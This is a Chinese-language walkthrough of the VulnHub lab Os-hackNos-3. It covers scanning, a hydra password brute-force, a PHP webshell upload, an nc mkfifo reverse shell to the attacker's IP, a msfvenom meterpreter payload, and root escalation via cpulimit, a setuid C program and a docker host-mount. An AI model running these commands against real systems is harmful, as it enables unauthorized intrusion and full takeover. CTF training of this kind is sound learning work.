靶机训练6:Os-hackNos-3
靶机训练6:Os-hackNos-3
- 参考文章
一、前期准备
-
[Os-hackNos-3 下载地址](hackNos: Os-hackNos-3 ~ VulnHub)
-
目标
- user.flag
- root.flag
-
相关技术
- web应用程序
- 枚举
- 权限提升
-
virtualBox 打开虚拟机的时候,又出现了上次的问题:不能为虚拟电脑XXX打开一个新任务
- 修改一下网络配置即可
二、信息收集
1. 主机探测
- 探索内网网段
- nmap -sP 192.168.31.0/24
2. 端口扫描
- 扫面服务
- nmap -sV -sC -A 192.168.31.112
- 访问主页(80)
3. 目录扫描
- gobuster dir -u http://192.168.31.90 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
- 发现了几个的目录,访问一下
- /scripts
- devil
- websec
- 除了邮箱地址,没啥其他东西
- 爆破二级目录
- gobuster dir -u http://192.168.31.90/websec -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
- 访问 admin 可以看到登录页面
4. 寻找漏洞
- 使用cewl爬取/websec/页面制作密码字典(靶机作者的提示)
- cewl http://192.168.31.90/websec/ > oshacknos3.txt
- 使用工具爆破密码,用户名就用邮箱名字:contact@hacknos.com
- hydra
- hydra -l contact@hacknos.com -P oshacknos3.txt 192.168.31.90 http-post-form "/websec/login:username=USER&password=PASS:Wrong email or password" -V
- hydra
- hydra 格式:
- "/websec/login
- 目录
- username=USER&password=PASS
- 用户名和密码字段匹配
- Wrong email or password
- 错误提示(爆破的时候没有这个就表示成功)
- "/websec/login
- 爆破结果:拿到密码
- login: contact@hacknos.com
- password: Securityx
- 密码是主页的字段
- 登录成功
三、拿shell
寻找可利用的漏洞
- 浏览发现一个 File Manager,直觉告诉我这里有漏洞,找到它就可以上传木马
方法1:利用一句话木马(执行系统命令)+ nc(监听) + bp(改包) 拿shell
- 尝试创建一个 一句话木马,然后上传
- 访问一下并确认内容正确,但比较奇怪,在主目录下上传后没法看到,在其他目录尝试上传后,成功了
- 要让这个木马能够利用,需要这个木马的路径能够被外界访问,但现在不行
- 在主题的文件夹下,找到了原因,这个 .htaccess 文件全部删除,然后保存就好了
- 访问一句话木马使其执行
- http://192.168.31.90/websec/themes/gila-blog/binge.php?binge=id
- 这个binge 就是一句话密码中自定义的名字(自己对应就好了)
- http://192.168.31.90/websec/themes/gila-blog/binge.php?binge=id
- 打开瑞士军刀 监听端口
- nc -lvnp 9001
- 启动burpsuite,proxy模块启动截包功能,浏览器开启代理,浏览器访问bing.php,proxy模块截包,发送repeater模块改包,再发送(如果不记得的小伙伴,详情请看前面的靶场1-5中寻找详细步骤)
- 修改请求方法,构造Post请求利用nc反弹shell
- 原始命令
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.239 9001 >/tmp/f
- 选中后 Ctrl+u 编码
- shift + ctrl + u 回退编码
- ip是kali本机ip
- 编码后的命令
- rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+i+2>%261|nc+192.168.31.239+9001+>/tmp/f
- 拿到shell 后,切换交互shell
- python -c 'import pty;pty.spawn("/bin/bash")'
- 先到home 目录下拿到第一个目标 user.txt
3. msf 拿 反弹shell
msfvenom 申城一个php反弹shell的poc
-
简介
- msfvenom是 MSF下的一个木马生成工具
-
msfvenom -l payload |grep php|grep reverse |grep tcp
- 列出可用的 payload
- -l
- 后接模块类型
- 列出制定模块的所有可用资源
- msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.31.239 LPORT=1234 -f raw > webshell.php
- 使用制定的payload生成一个反弹shell
- -p
- 指定需要使用的payload(攻击荷载)
- LHOST
- 本地攻击者的ip
- -f
- 指定输出格式
上传 反弹shell 文件到网站上,或者写入 网站的websec/index.php文件
进入msfconsole 监听端口
- 使用exploit/multi/handler模块
- use /exploit/multi/handler
- 设置payload
- set payload php/meterpreter_reverse_tcp
- 如果不知道填写什么参数,可以通过 options 进行查询
- 设置 lhost
- set lhost 192.168.31.239
- 设置lport
- set lport 1234
- 运行 exploit
- run
浏览器访问该php文件,即会运行该shell
- 服务器端运行木马后,kali后台就会出现一个终端 meterpreter
- 192.168.31.90/websec/themes/gila-blog/webshell.php
四、提权
收集系统相关的信息
- 查看密码文件
- cat /etc/passwd
- 筛选出能使用shell 的用户
- cat /etc/passwd | grep -v nologin
-
寻找具有SUID权限的命令
- find / -perm -u=s 2>/dev/null
-
还可以进行筛选
- find /usr/bin -type f -perm -u=s 2>/dev/null
-
没发现什么可以利用的
-
上gtfobins搜索了以下可利用提权的cpulimit二进制文件
-
cpulimit 命令
- 一个用户调整CPU使用的命令,
cpulimit
命令主要对长期运行的和 CPU 密集型的进程有用
- 一个用户调整CPU使用的命令,
-
sudo cpulimit -l 100 -f /bin/sh
- -l 进程数
- -f shell
- sudo 需要密码
- 尝试直接执行 二进制文件
- cpulimit -l 100 -f /bin/sh
-
按照第一思路,应该是要找到blackdevil 用户的密码,再进行提权
-
这里一开始尝试爆破密码,拿不到用户的密码,只能寻求其他思路
1. 提权方法1:cpulimit + suid
- 一种思路:直接提权
- cpulimit -l 100 -f -- /bin/sh -p
- 另一种思路:
- 这里有运行二进制文件的权限,我们可以利用suid 文件的特性进行提权
- 这里kali本地编写一个c语言的suid文件去执行提权命令
- 编译后,上传到相应目录,
- 进入相应的目录,然后把suid可执行文件(二进制)修改执行权限(让普通用户也可以执行 如777)
- chmod +x exp
- 然后用 cpulimit 去运行二进制文件,从而提权
- 创建文件
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
return 0;
}
- 编译后上传,
- 方式1:python httpserver
- 方法2:对编译好的二进制文件进行base64编码,然后在通过shell在/tmp下创建一个文件suidc64,然后复制内容,最后反base64编码
- 方式3:利用这里的网页文件上传功能,上传编译后的二进制文件,然后cp 到/tmp目录下
- cpulimit -l 100 -f ./suidc
- 成功提权
提权方法2:sudo 提权
-
在home目录的 blackdevil 用户下拿到了 user.txt,id 查看其权限,他是docker用户组
-
但是想要通过docker提权,需要拿到该用户的密码
-
根据网上大佬的说法(出题人提示):数据库相关 /var/local/database
- 里面只有一个没有给出的内容 Opss,应该是加密过得
- 解密:fackespreadsheet
- Spreadsheet mimic - decode (spammimic.com)
- 得到密码:Security@x@
- 登录blackdevil用户
- 查询其
sudo
配置,但意外发现可以执行所有命令,该用户可以直接提权- sudo -l
提权方法3:docker 提权
- 回退到blackdevil 用户,学习一下docker提权的方式
- 查看当前docker 的镜像文件
- 如果有镜像,则直接挂载目录
- docker run -it -v /:/mnt 镜像id
- 如果有镜像,则直接挂载目录
- 发现没有,则下载docker镜像文件,启动容器并挂载宿主机的根目录
- docker run -it -v /:/mnt alpine /bin/sh
- alpine镜像非常小非常适合用于提权
- 本地找不到镜像则会自动下载
- 由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限
- chroot /mnt
- docker run -it -v /:/mnt alpine /bin/sh
- 或者直接整合一条命令
- docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现